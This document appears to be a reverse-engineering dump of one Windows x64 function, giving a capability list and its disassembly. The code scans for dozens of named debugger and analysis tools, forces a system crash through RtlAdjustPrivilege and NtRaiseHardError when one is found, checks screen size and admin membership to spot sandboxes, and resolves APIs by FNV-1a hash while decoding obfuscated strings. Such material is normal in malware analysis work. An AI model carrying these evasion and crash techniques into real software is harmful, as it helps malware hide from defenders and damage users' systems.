Function at 0x140006ac0
Capabilities:
Access peb ldr_data
Check os version
Connect socket
Create thread
Encode data using xor
Get token membership
Hash data using fnv
Initialize winsock library
Receive data
Receive data on socket
Resolve function by fnv-1a hash
Resolve function by parsing pe exports
Send data
Send data on socket
Send http request
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xf00]
mov eax, 0x1000
call fcn.14001aac0
sub rsp, rax
movaps xmmword [rsp + 0xff0], xmm6
movaps xmmword [rsp + 0xfe0], xmm7
movaps xmmword [rsp + 0xfd0], xmm8
mov rax, qword [0x140022010]
xor rax, rsp
mov qword [rbp + 0xec0], rax
mov r12, rdx
mov r15d, ecx
xor edi, edi
mov dword [rbp + 0x978], edi
lea rcx, [rbp + 0x9c8]
call fcn.140005b10
nop
lea rcx, str.ollydbg.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.x64dbg.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.windbg.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.gdb.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.idaq.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.idaq64.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.ImmunityDebugger.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.dnspy.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.httpdebugger.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.upx.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.aspack.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.peid.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.mpress.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.uniextract.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.Wireshark.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.hiew.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.radare2.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.cutter.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.jeb.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.apktool.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.bytecodeviewer.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.aegisub.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.exeinfope.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.bruteforce_unpacker.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.die.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.execryptor.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.fiddler.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.frida.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.jtagulator.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.bkhon.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.crackme.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.cuckoo.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.debuggerview.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.ghidra.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.hex_rays.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.processhacker.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.procdump.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.sysinternals_suite.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.cheatengine.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.cffexplorer.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.processexplorer.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.retdec.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.berotool.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.x32dbg.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.upx_gui.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.lief.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.ilspy.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.jpexs.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.babel.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.decompile.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.eset.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.detox.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.peexplorer.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.sourceinsight.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.descent.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.injection_debugger.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.olyscript.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.assembler.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.debug_assist.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.cheatengine_helper.exe
call fcn.140005920
test al, al
jne 0x140006fd6
lea rcx, str.exploit_suggester.exe
call fcn.140005920
test al, al
je 0x14000704b
lea rcx, [0x14001ceb0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, [0x14001ced8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
lea r9, [rbp + 0x97c]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x978]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rsi
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rbp + 0x9e8], rdi
mov qword [rbp + 0x9f8], rdi
mov qword [rbp + 0xa00], recv
mov byte [rbp + 0x9e8], 0
xor r8d, r8d
lea rdx, [0x14001c820]
lea rcx, [rbp + 0x9e8]
call fcn.140010410
nop
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov r14, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov esi, dword [rdx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140007126
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140007126
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140007121
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140007100
cmp r8d, 0xbc0e3315
je 0x14000712b
test r9d, r9d
jne 0x1400070e0
mov rcx, qword [rcx]
jmp 0x1400070b0
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov edx, 3
mov rcx, r14
call r8
movsd xmm0, qword [0x14001d238]
movsd qword [rsp + 0x60], xmm0
mov eax, dword [0x14001d240]
mov dword [rsp + 0x68], eax
movzx eax, word [0x14001d244]
mov word [rsp + 0x6c], ax
mov eax, 0x1f
lea r14d, [rax - 0x1a]
mov r13d, dword [reloc.WS2_32.dll_accept]
cmp byte [0x14001d245], 0
je 0x1400072f3
mov r8d, edi
cmp r13d, 2
jl 0x1400072a9
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r14d
movd xmm5, eax
movdqa xmm2, xmmword [0x14001dc20]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001dc40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14001dca0]
movd xmm0, dword [0x14001d238]
pxor xmm2, xmm0
movd dword [rsp + 0x60], xmm2
movdqa xmm3, xmmword [0x14001dc30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001dc40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14001dca0]
movd xmm0, dword [rsp + 0x64]
pxor xmm2, xmm0
movd dword [rsp + 0x64], xmm2
mov r8d, 8
mov eax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400072c0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140007386
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140007386
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140007381
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140007360
cmp r8d, 0x9a9264ad
je 0x14000738b
test r9d, r9d
jne 0x140007340
mov rax, qword [rax]
jmp 0x140007310
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rsp + 0x60]
call rdx
mov dword [rbp + 0x980], 0
mov word [rbp + 0x984], 0x500
lea rax, [rbp + 0x970]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], edi
mov dword [rsp + 0x40], edi
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rbp + 0x980]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x14000f749
lea r8, [rbp + 0x978]
mov rdx, qword [rbp + 0x970]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [rbp + 0x978]
test eax, eax
cmove ecx, edi
mov dword [rbp + 0x978], ecx
mov rcx, qword [rbp + 0x970]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rbp + 0x978], 0
je 0x14000f749
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov r14d, eax
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov esi, eax
mov dword [rbp + 0xb00], 0x11c
cmp r14d, 0x400
jne 0x14000747a
cmp eax, 0x300
je 0x14000f588
mov r8b, 3
mov edx, 2
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VerSetConditionMask]
mov rbx, rax
mov r8b, 3
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VerSetConditionMask]
or rbx, rax
mov r8, rbx
mov edx, 3
lea rcx, [rbp + 0xb00]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
test eax, eax
je 0x14000f588
cmp r14d, 0x500
jne 0x1400074ce
cmp esi, 0x400
jmp 0x1400074dd
cmp r14d, 0x320
jne 0x1400074e3
cmp esi, 0x258
je 0x14000f588
cmp r15d, 1
jge 0x1400077b4
movups xmm0, xmmword [0x14001dac0]
movups xmmword [rbp - 0x10], xmm0
movsd xmm1, qword [0x14001dad0]
movsd qword [rbp], xmm1
mov eax, dword [0x14001dad8]
mov dword [rbp + 8], eax
movzx eax, word [0x14001dadc]
mov word [rbp + 0xc], ax
movzx eax, byte [0x14001dade]
mov byte [rbp + 0xe], al
cmp r13d, 2
jl 0x14000767b
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
mov r15d, 5
movd xmm6, r15d
movdqa xmm7, xmmword [0x14001dc40]
mov r12d, 0x1f
movd xmm8, r12d
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x10]
mov edx, dword [rsp + 0x60]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x18
jl 0x140007571
cmp edi, r12d
jge 0x1400076bf
movsxd rax, edi
lea r8, [rbp - 0x10]
add r8, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, dil
sub al, cl
add al, 0x32
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x1f
jl 0x140007690
lea rdx, [rbp - 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400108c0
lea rdx, [0x140010a90]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rdx, qword [rbp + 0xa00]
cmp rdx, 0x10
jb 0x14000772d
inc rdx
mov rcx, qword [rbp + 0x9e8]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140007727
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f965
call fcn.140019790
nop
mov rdx, qword [rbp + 0x9e0]
cmp rdx, 0x10
jb 0x14000776e
inc rdx
mov rcx, qword [rbp + 0x9c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007769
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f9b6
call fcn.140019790
mov rax, 0xffffffffffffffff
mov rcx, qword [rbp + 0xec0]
xor rcx, rsp
call fcn.140019770
lea r11, [rsp + 0x1000]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rdx, qword [r12]
mov qword [rbp + 0xa48], rdi
mov qword [rbp + 0xa58], rdi
mov qword [rbp + 0xa60], recv
mov byte [rbp + 0xa48], 0
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x1400077e0
lea rcx, [rbp + 0xa48]
call fcn.140010410
nop
mov dword [rbp - 0x50], 0x3b20281b
mov dword [rbp - 0x4c], 0x367c3022
mov dword [rbp - 0x48], 0x100302c
mov rcx, rdi
nop
lea eax, [rcx + 0x4c]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0xa
jb 0x140007810
mov byte [rbp - 0x45], 0
mov qword [rbp + 0xa28], rdi
mov qword [rbp + 0xa38], rdi
mov qword [rbp + 0xa40], recv
mov byte [rbp + 0xa28], 0
mov r8d, 0xa
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0xa28]
call fcn.140010410
nop
lea r12, [rbp + 0xa28]
mov rbx, qword [rbp + 0xa40]
cmp rbx, 0x10
setae byte [rsp + 0x70]
mov r14, qword [rbp + 0xa28]
cmovae r12, r14
lea r13, [rbp + 0xa48]
cmp qword [rbp + 0xa60], 0x10
setae byte [rsp + 0x71]
mov rsi, qword [rbp + 0xa48]
cmovae r13, rsi
mov r15, qword [rbp + 0xa38]
mov rax, qword [rbp + 0xa58]
cmp r15, rax
ja 0x14000791f
test r15, r15
je 0x140007b74
sub rax, r15
mov qword [rbp + 0x970], rax
lea r8, [rax + 1]
add r8, r13
movsx edx, byte [r12]
sub r8, r13
mov rcx, r13
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x14000791f
mov r8, r15
mov rdx, r12
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140007b60
inc rbx
mov r8, qword [rbp + 0x970]
inc r8
add r8, r13
sub r8, rbx
movsx edx, byte [r12]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x1400078e1
movups xmm0, xmmword [0x14001da40]
movups xmmword [rbp + 0x50], xmm0
mov eax, dword [0x14001da68]
movsd xmm0, qword [0x14001da60]
movups xmm1, xmmword [0x14001da50]
mov dword [rbp + 0x78], eax
movsd qword [rbp + 0x70], xmm0
movups xmmword [rbp + 0x60], xmm1
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140007aaa
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
mov r15d, 5
movd xmm6, r15d
movdqa xmm7, xmmword [0x14001dc40]
mov r12d, 0x1f
movd xmm8, r12d
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x50]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x28
jl 0x1400079a0
cmp edi, 0x2c
jge 0x140007aef
movsxd rax, edi
lea r8, [rbp + 0x50]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, dil
sub al, cl
add al, 0x32
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x2c
jl 0x140007ac0
lea rdx, [rbp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400108c0
mov rcx, rax
lea rdx, [0x140010a90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
cmp byte [rsp + 0x70], 0
je 0x14000f53e
mov rdx, qword [rbp + 0xa40]
inc rdx
mov rax, r14
cmp rdx, 0x1000
jb 0x14000f535
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f535
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
sub rbx, r13
cmp rbx, 0xffffffffffffffff
je 0x14000791f
mov rbx, qword [rbp + 0xa40]
lea rcx, [rbp + 0x988]
call fcn.140006560
nop
cmp qword [rbp + 0x998], 0
jne 0x140007cf6
mov rdx, qword [rbp + 0x9a0]
cmp rdx, 8
jb 0x140007bd8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x988]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007bd3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007bd3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019790
mov qword [rbp + 0x998], rdi
mov qword [rbp + 0x9a0], 7
mov word [rbp + 0x988], di
cmp byte [rsp + 0x70], 0
je 0x140007c2a
lea rdx, [rbx + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x140007c21
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007b59
mov rcx, r14
call fcn.140019790
nop
cmp byte [rsp + 0x71], 0
je 0x140007c69
mov rdx, qword [rbp + 0xa60]
inc rdx
mov rax, rsi
cmp rdx, 0x1000
jb 0x140007c60
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f574
mov rcx, rsi
call fcn.140019790
nop
mov rdx, qword [rbp + 0xa00]
cmp rdx, 0x10
jb 0x140007cab
inc rdx
mov rcx, qword [rbp + 0x9e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007ca5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f965
call fcn.140019790
nop
mov rdx, qword [rbp + 0x9e0]
cmp rdx, 0x10
jb 0x140007cec
inc rdx
mov rcx, qword [rbp + 0x9c8]
mov r8, rcx
cmp rdx, 0x1000
jb 0x140007ce7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub r8, rcx
add r8, 0xfffffffffffffff8
cmp r8, 0x1f
ja 0x14000f9b6
call fcn.140019790
mov eax, 1
jmp 0x140007775
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa90], xmm0
movups xmmword [rbp + 0xaa0], xmm0
mov qword [rbp + 0xab0], rax
mov qword [rbp + 0xa90], rdi
lea rax, [rbp + 0xa98]
mov qword [rbp + 0x970], rax
mov cl, 1
call qword [sym.imp.MSVCP140.dll_private:_static_class_std::locale::_Locimp____ptr64___cdecl_std::locale::_Init_bool_]
mov qword [rbp + 0xab0], rax
lea rcx, [rbp + 0xa98]
call fcn.1400105f0
nop
lea r8, [0x14001cefa]
lea rcx, [rbp + 0xa90]
call fcn.140010c70
nop
mov qword [rbp + 0x138], rdi
mov qword [rbp + 0x148], rdi
mov qword [rbp + 0x150], 7
mov word [rbp + 0x138], di
mov dword [rbp + 0x978], 7
mov qword [rbp + 0xad8], rdi
mov qword [rbp + 0xae8], rdi
mov qword [rbp + 0xaf0], 7
mov word [rbp + 0xad8], di
xor r8d, r8d
lea rdx, [0x14001ca7c]
lea rcx, [rbp + 0xad8]
call fcn.140010130
nop
lea rcx, [rbp + 0x988]
mov rax, qword [rbp + 0x998]
cmp qword [rbp + 0x9a0], 8
jb 0x140007ddb
mov r8, qword [rbp + 0x988]
lea r9, [r8 + rax*2]
jmp 0x140007de6
lea r9, [rcx + rax*2]
lea r8, [rbp + 0x988]
lea rax, [rbp + 0xad8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xa90]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0xa68]
call fcn.140012340
nop
mov rdx, qword [rbp + 0xaf0]
cmp rdx, 8
jb 0x140007e5b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xad8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007e56
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007e56
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019790
mov rdx, qword [rbp + 0x9a0]
cmp rdx, 8
jb 0x140007ea4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x988]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007e9f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007e9f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019790
movups xmm0, xmmword [rbp + 0x138]
movups xmmword [rbp + 0x988], xmm0
movups xmm1, xmmword [rbp + 0x148]
movups xmmword [rbp + 0x998], xmm1
